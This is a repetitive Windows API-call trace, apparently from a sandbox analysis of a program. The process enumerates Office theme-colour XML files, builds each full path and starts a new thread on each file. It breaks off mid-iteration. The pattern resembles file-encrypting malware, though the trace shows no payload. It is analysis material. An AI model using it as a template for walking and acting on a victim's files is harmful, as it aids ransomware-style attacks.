[0089.532] wcscmp (_String1="Adjacency.xml", _String2="..") returned 1 [0089.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce10a50 [0089.532] wcscpy (in: _Dest=0x1ce10a50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0089.532] wcscat (in: _Dest=0x1ce10a50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0089.532] wcscat (in: _Dest=0x1ce10a50, _Source="Adjacency.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" [0090.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0090.786] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0090.786] wcscmp (_String1="Angles.xml", _String2=".") returned 1 [0090.786] wcscmp (_String1="Angles.xml", _String2="..") returned 1 [0090.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5910 [0090.786] wcscpy (in: _Dest=0x1b7a5910, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.786] wcscat (in: _Dest=0x1b7a5910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.786] wcscat (in: _Dest=0x1b7a5910, _Source="Angles.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" [0090.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0090.787] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0090.787] wcscmp (_String1="Apex.xml", _String2=".") returned 1 [0090.787] wcscmp (_String1="Apex.xml", _String2="..") returned 1 [0090.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7adc00 [0090.787] wcscpy (in: _Dest=0x1b7adc00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.787] wcscat (in: _Dest=0x1b7adc00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.787] wcscat (in: _Dest=0x1b7adc00, _Source="Apex.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" [0090.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0090.788] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0090.788] wcscmp (_String1="Apothecary.xml", _String2=".") returned 1 [0090.788] wcscmp (_String1="Apothecary.xml", _String2="..") returned 1 [0090.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5860 [0090.788] wcscpy (in: _Dest=0x1b7a5860, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.788] wcscat (in: _Dest=0x1b7a5860, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.788] wcscat (in: _Dest=0x1b7a5860, _Source="Apothecary.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" [0090.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0090.789] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0090.789] wcscmp (_String1="Aspect.xml", _String2=".") returned 1 [0090.789] wcscmp (_String1="Aspect.xml", _String2="..") returned 1 [0090.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a6410 [0090.789] wcscpy (in: _Dest=0x1b7a6410, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.789] wcscat (in: _Dest=0x1b7a6410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.789] wcscat (in: _Dest=0x1b7a6410, _Source="Aspect.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" [0090.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0090.789] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0090.789] wcscmp (_String1="Austin.xml", _String2=".") returned 1 [0090.790] wcscmp (_String1="Austin.xml", _String2="..") returned 1 [0090.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a57b0 [0090.790] wcscpy (in: _Dest=0x1b7a57b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.790] wcscat (in: _Dest=0x1b7a57b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.790] wcscat (in: _Dest=0x1b7a57b0, _Source="Austin.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" [0090.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a57b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0090.790] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0090.790] wcscmp (_String1="Black Tie.xml", _String2=".") returned 1 [0090.790] wcscmp (_String1="Black Tie.xml", _String2="..") returned 1 [0090.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a6360 [0090.790] wcscpy (in: _Dest=0x1b7a6360, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.790] wcscat (in: _Dest=0x1b7a6360, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.791] wcscat (in: _Dest=0x1b7a6360, _Source="Black Tie.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" [0090.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a6360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0090.791] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0090.791] wcscmp (_String1="Civic.xml", _String2=".") returned 1 [0090.791] wcscmp (_String1="Civic.xml", _String2="..") returned 1 [0090.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7adb60 [0090.791] wcscpy (in: _Dest=0x1b7adb60, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.791] wcscat (in: _Dest=0x1b7adb60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.791] wcscat (in: _Dest=0x1b7adb60, _Source="Civic.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" [0090.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0090.792] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0090.792] wcscmp (_String1="Clarity.xml", _String2=".") returned 1 [0090.792] wcscmp (_String1="Clarity.xml", _String2="..") returned 1 [0090.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5700 [0090.792] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.793] wcscat (in: _Dest=0x1b7a5700, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.793] wcscat (in: _Dest=0x1b7a5700, _Source="Clarity.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" [0090.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0090.793] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0090.793] wcscmp (_String1="Composite.xml", _String2=".") returned 1 [0090.793] wcscmp (_String1="Composite.xml", _String2="..") returned 1 [0090.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a6200 [0090.793] wcscpy (in: _Dest=0x1b7a6200, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.793] wcscat (in: _Dest=0x1b7a6200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.793] wcscat (in: _Dest=0x1b7a6200, _Source="Composite.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" [0090.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a6200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0090.794] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0090.794] wcscmp (_String1="Concourse.xml", _String2=".") returned 1 [0090.794] wcscmp (_String1="Concourse.xml", _String2="..") returned 1 [0090.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5650 [0090.794] wcscpy (in: _Dest=0x1b7a5650, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.794] wcscat (in: _Dest=0x1b7a5650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.794] wcscat (in: _Dest=0x1b7a5650, _Source="Concourse.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" [0090.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0090.795] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0090.795] wcscmp (_String1="Couture.xml", _String2=".") returned 1 [0090.795] wcscmp (_String1="Couture.xml", _String2="..") returned 1 [0090.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a6150 [0090.795] wcscpy (in: _Dest=0x1b7a6150, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.795] wcscat (in: _Dest=0x1b7a6150, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.795] wcscat (in: _Dest=0x1b7a6150, _Source="Couture.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" [0090.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a6150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0090.796] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0090.796] wcscmp (_String1="Elemental.xml", _String2=".") returned 1 [0090.796] wcscmp (_String1="Elemental.xml", _String2="..") returned 1 [0090.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a55a0 [0090.796] wcscpy (in: _Dest=0x1b7a55a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.796] wcscat (in: _Dest=0x1b7a55a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.796] wcscat (in: _Dest=0x1b7a55a0, _Source="Elemental.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" [0090.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a55a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0090.797] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0090.797] wcscmp (_String1="Equity.xml", _String2=".") returned 1 [0090.797] wcscmp (_String1="Equity.xml", _String2="..") returned 1 [0090.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a60a0 [0090.797] wcscpy (in: _Dest=0x1b7a60a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.797] wcscat (in: _Dest=0x1b7a60a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.797] wcscat (in: _Dest=0x1b7a60a0, _Source="Equity.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" [0090.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0090.798] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0090.798] wcscmp (_String1="Essential.xml", _String2=".") returned 1 [0090.798] wcscmp (_String1="Essential.xml", _String2="..") returned 1 [0090.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a54f0 [0090.798] wcscpy (in: _Dest=0x1b7a54f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.798] wcscat (in: _Dest=0x1b7a54f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0090.798] wcscat (in: _Dest=0x1b7a54f0, _Source="Essential.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" [0090.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a54f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0090.799] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0090.799] wcscmp (_String1="Executive.xml", _String2=".") returned 1 [0090.799] wcscmp (_String1="Executive.xml", _String2="..") returned 1 [0090.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5ff0 [0090.800] wcscpy (in: _Dest=0x1b7a5ff0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0090.800] wcscat (in: _Dest=0x1b7a5ff0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" 